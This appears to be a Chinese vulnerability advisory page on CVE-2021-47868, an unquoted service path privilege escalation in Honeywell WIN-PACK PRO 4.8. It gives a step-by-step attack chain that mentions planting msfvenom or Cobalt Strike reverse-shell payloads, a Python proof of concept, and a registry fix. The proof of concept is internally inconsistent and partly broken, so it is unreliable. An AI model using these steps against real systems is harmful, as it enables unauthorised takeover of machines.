IPBUF安全漏洞报告
English
CVE-2021-47868 CVSS 7.8 高危

CVE-2021-47868 WIN-PACK PRO 未引用服务路径权限提升漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2021-47868
漏洞类型
未引用服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WIN-PACK PRO 4.8

相关标签

未引用服务路径权限提升本地提权WIN-PACK PROHoneywell高危漏洞Windows服务CVE-2021-47868

漏洞概述

CVE-2021-47868是 Honeywell WIN-PACK PRO 4.8版本中存在的一个高危安全漏洞,漏洞类型为未引用的服务路径(Unquoted Service Path)。该漏洞存在于WPCommandFileService服务中,服务可执行文件路径为"C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe"。由于路径中包含空格且未被引号包裹,Windows系统在启动服务时会从左到右依次查找可执行文件。当攻击者在特定位置(如"C:\Program.exe"或"C:\Program Files <x86>\WINPAKPRO\WPCommandFileService.exe")放置恶意可执行文件时,服务启动时会优先执行攻击者的恶意程序。由于该服务以LocalSystem权限运行,攻击者可以借此获得系统最高权限,实现权限提升和持久化控制。此漏洞需要攻击者具有本地访问权限和低权限用户身份即可利用,对系统安全构成严重威胁。

技术细节

未引用服务路径漏洞(Unquoted Service Path)是一种常见的Windows本地权限提升漏洞。当Windows服务配置的可执行文件路径包含空格且未被双引号包裹时,系统会使用空格作为路径分隔符,从路径开头依次尝试查找并执行匹配的可执行文件。对于路径"C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe",系统会依次尝试执行:1) C:\Program.exe 2) C:\Program Files.exe 3) C:\Program Files <x86>\WINPAKPRO\WPCommandFileService.exe 4) 真正的WPCommandFileService Service.exe。攻击者只需在步骤1-3的任意位置植入恶意可执行文件并等待服务重启,即可使恶意代码以LocalSystem权限执行。WPCommandFileService服务随系统启动自动运行,为攻击者提供了稳定的利用条件。攻击者可以利用MSF等渗透测试框架生成恶意载荷,结合服务路径特性实现自动化的权限提升攻击。

攻击链分析

STEP 1
信息收集
攻击者首先进行本地信息收集,识别WIN-PACK PRO 4.8是否安装,并通过wmic或PowerShell查询WPCommandFileService服务的可执行文件路径
STEP 2
路径分析
分析服务路径C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe,识别出包含空格且未被引号包裹的路径,确定可利用的中间路径
STEP 3
权限检查
确认当前用户对目标路径(如C:\Program Files <x86>\WINPAKPRO\)具有写入权限,通常低权限用户对Program Files目录的子目录具有修改权限
STEP 4
恶意载荷生成
使用Metasploit框架(如msfvenom)或Cobalt Strike生成恶意可执行文件,通常为reverse shell或meterpreter载荷,用于建立远程控制连接
STEP 5
恶意文件植入
将恶意可执行文件重命名为WPCommandFileService.exe并放置到C:\Program Files <x86>\WINPAKPRO\目录,等待服务重启或系统重启时自动执行
STEP 6
服务触发执行
当服务重启或系统重启时,Windows服务管理器按顺序查找可执行文件,优先执行攻击者植入的恶意文件,而非原始的Service.exe
STEP 7
权限提升
恶意代码以LocalSystem(系统最高权限)身份执行,攻击者获得完全系统控制权,可进行数据窃取、横向移动或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2021-47868 PoC - WIN-PACK PRO Unquoted Service Path # Target: C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe # This PoC demonstrates creating a malicious executable in the unquoted path import os import sys import ctypes import shutil def create_malicious_exe(target_path, payload_name="WPCommandFileService.exe"): """ Create a malicious executable in the unquoted service path. This will be executed before the legitimate service binary. """ # Paths that Windows will try to execute before the real service # Based on: C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe paths_to_check = [ r"C:\Program Files <x86>\WINPAKPRO\WPCommandFileService.exe", r"C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe" ] for path in paths_to_check: if not os.path.exists(path): print(f"[*] Creating malicious binary at: {path}") try: # In real attack, this would be a reverse shell or meterpreter malicious_code = f''' #include <windows.h> #include <stdio.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{ if (fdwReason == DLL_PROCESS_ATTACH) {{ // Add malicious code here (reverse shell, persistence, etc.) MessageBox(NULL, "Vulnerability Exploited!\nCVE-2021-47868", "WIN-PACK PRO Exploit", MB_OK); }} return TRUE; }} ''' # For demonstration, create a simple batch script wrapper with open(path.replace('.exe', '.bat'), 'w') as f: f.write(f'@echo off\n') f.write(f'echo [!] Malicious code executed with SYSTEM privileges!\n') f.write(f'echo [!] Target: {target_path}\n') f.write(f'echo [!] CVE-2021-47868\n') f.write(f'pause\n') print(f"[+] Malicious file created at: {path}") return path except Exception as e: print(f"[-] Failed to create file: {e}") return None def check_vulnerability(): """Check if the system is vulnerable to CVE-2021-47868""" service_path = r"C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe" print("="*60) print("CVE-2021-47868 - WIN-PACK PRO Unquoted Service Path Check") print("="*60) # Check if service exists if os.path.exists(service_path): print(f"[+] Service binary found: {service_path}") print("[!] System may be vulnerable to unquoted service path attack") return True else: print(f"[-] Service binary not found: {service_path}") print("[*] System may not be affected by this vulnerability") return False if __name__ == "__main__": check_vulnerability() # Note: Actual exploitation requires admin privileges to write to Program Files

影响范围

WIN-PACK PRO 4.8

防御指南

临时缓解措施
立即检查并修复WPCommandFileService服务的注册表配置,为ImagePath添加双引号保护:reg add "HKLM\SYSTEM\CurrentControlSet\Services\WPCommandFileService" /v ImagePath /t REG_EXPAND_SZ /d "\"C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe\"" /f。同时限制服务目录的写入权限,仅允许SYSTEM和 Administrators组具有完全控制权限。在官方补丁发布前,考虑暂时禁用该服务或部署终端防护软件监控异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表